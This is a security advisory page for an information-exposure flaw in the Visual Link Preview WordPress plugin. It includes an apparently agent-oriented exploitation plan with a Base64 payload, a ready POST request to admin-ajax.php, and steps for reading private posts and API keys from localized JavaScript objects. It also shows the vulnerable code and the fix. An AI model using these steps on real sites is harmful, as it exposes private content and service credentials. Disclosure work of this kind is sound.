Visual Link Preview <= 2.4.1 - Authenticated (Subscriber+) Information Exposure
Description
The Visual Link Preview plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 2.4.1. This makes it possible for authenticated attackers, with Subscriber-level access and above, to extract sensitive user or configuration data.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:NTechnical Details
<=2.4.1What Changed in the Fix
Changes introduced in v2.4.2
Source Code
WordPress.org SVNThis research plan outlines the technical steps to exploit **CVE-2026-48878**, an Information Exposure vulnerability in the **Visual Link Preview** WordPress plugin (<= 2.4.1). ### 1. Vulnerability Summary The `vlp_get_template` AJAX action in `VLP_Template_Manager` allows authenticated users to re…
Show full research plan
This research plan outlines the technical steps to exploit CVE-2026-48878, an Information Exposure vulnerability in the Visual Link Preview WordPress plugin (<= 2.4.1).
1. Vulnerability Summary
The vlp_get_template AJAX action in VLP_Template_Manager allows authenticated users to retrieve a preview of any post by providing its ID. The underlying logic in VLP_Link (the class processing the request) fails to verify if the current user has the necessary permissions to read the post being previewed. Consequently, any authenticated user with at least Subscriber level access can extract the title and content/summary of private, password-protected, or draft posts. Additionally, the plugin localizes sensitive configuration data (such as API keys for external URL providers) into the vlp_admin and vlp_blocks JavaScript objects, making them visible to all logged-in users who can access the admin dashboard or block editor.
2. Attack Vector Analysis
- Vulnerable Endpoint:
/wp-admin/admin-ajax.php - Vulnerable AJAX Action:
vlp_get_template - Required Nonce:
vlp(Action:vlp) - Authentication: Subscriber-level access or higher.
- Preconditions: The attacker must be logged in to obtain a valid nonce from the admin dashboard (e.g., the Profile page).
3. Code Flow
- Registration: In
includes/public/class-vlp-template-manager.php, the plugin registers the AJAX handler:add_action( 'wp_ajax_vlp_get_template', array( __CLASS__, 'ajax_get_template' ) );. - Entry Point: When a request is sent to
vlp_get_template,VLP_Template_Manager::ajax_get_template()is executed. - Nonce Check: The function verifies the
vlpnonce:check_ajax_referer( 'vlp', 'security', false ). - Parsing: It retrieves the
encodedparameter from$_POST, which is a Base64-encoded JSON object. - Object Creation:
new VLP_Link( $encoded )is instantiated. This class (logic inferred from usage) parses the JSON to set attributes liketypeandpost. - Information Retrieval: It calls
$link->output(), which fetches the post content corresponding to thepostID attribute without performing acurrent_user_can('read_post', $post_id)check. - Exposure: The rendered preview containing the private post's data is returned via
wp_send_json_success.
4. Nonce Acquisition Strategy
Since the vlp nonce is used for admin-side functionality, it is localized via wp_localize_script in VLP_Assets::enqueue() (for the admin dashboard) and VLP_Assets::enqueue_blocks() (for Gutenberg).
- Login: Authenticate as a Subscriber.
- Navigate: Go to
/wp-admin/profile.php(accessible to all logged-in users). - Extract: Open the browser console and run:
Alternatively, search the page source forconsole.log(window.vlp_admin.nonce);vlp_adminto find the JSON object containing the nonce.
5. Exploitation Strategy
The goal is to retrieve the content of a private post (e.g., Post ID 1337).
- Craft the Payload: Create a JSON object specifying an internal post type and the target ID.
{"type": "internal", "post": 1337} - Encode the Payload: Convert the JSON to Base64.
- Example:
eyJ0eXBlIjogImludGVybmFsIiwgInBvc3QiOiAxMzM3fQ==
- Example:
- Send the HTTP Request: Use the
http_requesttool to trigger the AJAX action.- Method: POST
- URL:
http://[TARGET]/wp-admin/admin-ajax.php - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=vlp_get_template&security=[NONCE]&encoded=eyJ0eXBlIjogImludGVybmFsIiwgInBvc3QiOiAxMzM3fQ==
6. Test Data Setup
- Create a private post with a unique title and sensitive content (e.g., "Secret Project Alpha - Login: admin/password123").
- Identify the ID of this post (e.g.,
1337). - Create a user with the Subscriber role.
- Ensure the Visual Link Preview plugin (version 2.4.1) is active.
7. Expected Results
- The server returns a JSON response with
success: true. - The
data.templatefield contains HTML markup. - Within that HTML, the title and content of the private post (Post 1337) are visible (e.g., inside
<h3>and.summarytags as defined inVLP_Shortcode::register_blocks).
8. Verification Steps
- Confirm Privacy: Using WP-CLI, verify the post is actually private:
wp post get 1337 --field=post_status(Expected:private). - Confirm Exposure: Check the
templateoutput from the HTTP response for the string "Secret Project Alpha".
9. Alternative Approaches
Configuration Exposure (API Keys):
If the plugin has a Microlink or LinkPreview API key configured, it may be exposed in the localized JS object.
- Navigate to
/wp-admin/profile.php. - In the browser console, check:
Or check the source for theconsole.log(window.vlp_admin.url_providers);vlp_blocksobject if the user has access to the post editor. Verify if any sensitive API keys are present in these objects.
Summary
The vlp_get_template AJAX action in the Visual Link Preview plugin fails to perform a capability check, allowing authenticated users with Subscriber-level access to retrieve previews of any post, including private or draft content, by providing its ID. Furthermore, sensitive configuration data such as API keys are localized into JavaScript objects accessible to all logged-in users, potentially exposing external service credentials.
Vulnerable Code
// includes/public/class-vlp-template-manager.php line 152 public static function ajax_get_template() { if ( check_ajax_referer( 'vlp', 'security', false ) ) { $encoded = isset( $_POST['encoded'] ) ? sanitize_text_field( wp_unslash( $_POST['encoded'] ) ) : ''; // Input var okay. $link = new VLP_Link( $encoded ); $template = VLP_Template_Manager::get_template_by_slug( $link->template() ); $output = '<style type="text/css">' . VLP_Template_Manager::get_template_css( $template ) . VLP_Template_Style::get_css() . '</style>'; $output .= $link->output(); wp_send_json_success( array( 'template' => $output, ) ); } wp_die(); } --- // includes/admin/class-vlp-assets.php line 83 wp_localize_script( 'vlp-blocks', 'vlp_blocks', array( 'ajax_url' => admin_url( 'admin-ajax.php' ), 'nonce' => wp_create_nonce( 'vlp' ), 'templates' => VLP_Template_Manager::get_templates(), 'edit_link' => admin_url( 'post.php?action=edit&post='), 'settings_link' => admin_url( 'options-general.php?page=bv_settings_vlp' ), 'url_providers' => VLP_Url_Provider_Manager::get_available_providers(), ));
Security Fix
@@ -150,21 +150,29 @@ * @since 1.0.0 */ public static function ajax_get_template() { - if ( check_ajax_referer( 'vlp', 'security', false ) ) { - $encoded = isset( $_POST['encoded'] ) ? sanitize_text_field( wp_unslash( $_POST['encoded'] ) ) : ''; // Input var okay. - $link = new VLP_Link( $encoded ); - - $template = VLP_Template_Manager::get_template_by_slug( $link->template() ); - - $output = '<style type="text/css">' . VLP_Template_Manager::get_template_css( $template ) . VLP_Template_Style::get_css() . '</style>'; - $output .= $link->output(); - - wp_send_json_success( array( - 'template' => $output, - ) ); + if ( ! check_ajax_referer( 'vlp', 'security', false ) ) { + wp_send_json_error( array( + 'message' => __( 'Invalid security token.', 'visual-link-preview' ), + ), 403 ); } - wp_die(); + if ( ! current_user_can( 'edit_posts' ) ) { + wp_send_json_error( array( + 'message' => __( 'You do not have permission to preview templates.', 'visual-link-preview' ), + ), 403 ); + } + + $encoded = isset( $_POST['encoded'] ) ? sanitize_text_field( wp_unslash( $_POST['encoded'] ) ) : ''; // Input var okay. + $link = new VLP_Link( $encoded ); + + $template = VLP_Template_Manager::get_template_by_slug( $link->template() ); + + $output = '<style type="text/css">' . VLP_Template_Manager::get_template_css( $template ) . VLP_Template_Style::get_css() . '</style>'; + $output .= $link->output(); + + wp_send_json_success( array( + 'template' => $output, + ) ); }
Exploit Outline
1. Authenticate to the WordPress site as a user with at least Subscriber-level privileges. 2. Retrieve the required 'vlp' AJAX nonce by inspecting the page source of an administrative page (like /wp-admin/profile.php) or by checking the 'vlp_admin.nonce' value in the browser console. 3. Target a private or draft post by its numeric ID. 4. Prepare a JSON object: {"type": "internal", "post": [TARGET_ID]}. 5. Base64-encode this JSON string. 6. Execute an AJAX request to /wp-admin/admin-ajax.php with the POST parameters: 'action' set to 'vlp_get_template', 'security' set to the retrieved nonce, and 'encoded' set to the Base64-encoded JSON. 7. The response will contain the HTML-rendered preview of the private post, exposing its title and summary.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.